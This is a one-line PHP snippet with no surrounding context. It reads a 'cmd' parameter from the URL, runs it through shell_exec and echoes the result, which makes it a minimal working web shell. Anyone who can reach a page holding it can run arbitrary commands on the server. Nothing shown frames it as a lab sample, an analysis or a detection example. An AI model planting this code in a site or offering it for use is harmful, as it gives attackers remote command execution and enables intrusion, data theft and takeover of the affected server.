if(isset($_GET['cmd'])) {    $output = shell_exec($_GET['cmd']);    echo "<pre>$output</pre>";  }